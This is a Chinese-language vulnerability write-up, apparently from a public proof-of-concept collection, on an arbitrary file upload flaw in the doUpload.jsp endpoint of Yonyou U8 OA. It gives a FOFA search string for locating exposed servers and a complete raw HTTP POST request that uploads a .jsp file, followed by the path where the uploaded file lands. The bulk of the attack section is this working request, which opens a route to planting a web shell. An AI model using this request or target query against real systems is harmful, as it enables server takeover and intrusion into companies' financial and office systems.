用友U8 OA doUpload.jsp接口任意文件上传漏洞
一、漏洞简介
用友U8+承载了用友人十余年来为成长型企业的信息化管理所倾注的心血，它以U8财务业务一体化、U8ERP、U8All-in-One、U8+形象伴随中国经济的高速发展一路走来，见证了成长型企业信息化从7个应用模块到126个产品及行业应用。用友U8 OA uploadForm 任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。
二、影响版本
- 用友U8 OA
三、资产测绘
- fofa
"用友U8-OA" - 特征
四、漏洞复现
POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------363639458542274369491015178429
Content-Length: 1508
Connection: close
Cookie: JSESSIONID=CA218004AFAADF7EC35C09307DBF7324; JSESSIONID=D58108CE272DEF63D6638B7614DBDF6F
Upgrade-Insecure-Requests: 1
-----------------------------363639458542274369491015178429
Content-Disposition: form-data; name="myfile"; filename="stc.jsp"
Content-Type: application/octet-stream
test
-----------------------------363639458542274369491015178429--
上传文件位置
/yyoa/portal/upload/1700710426319.jsp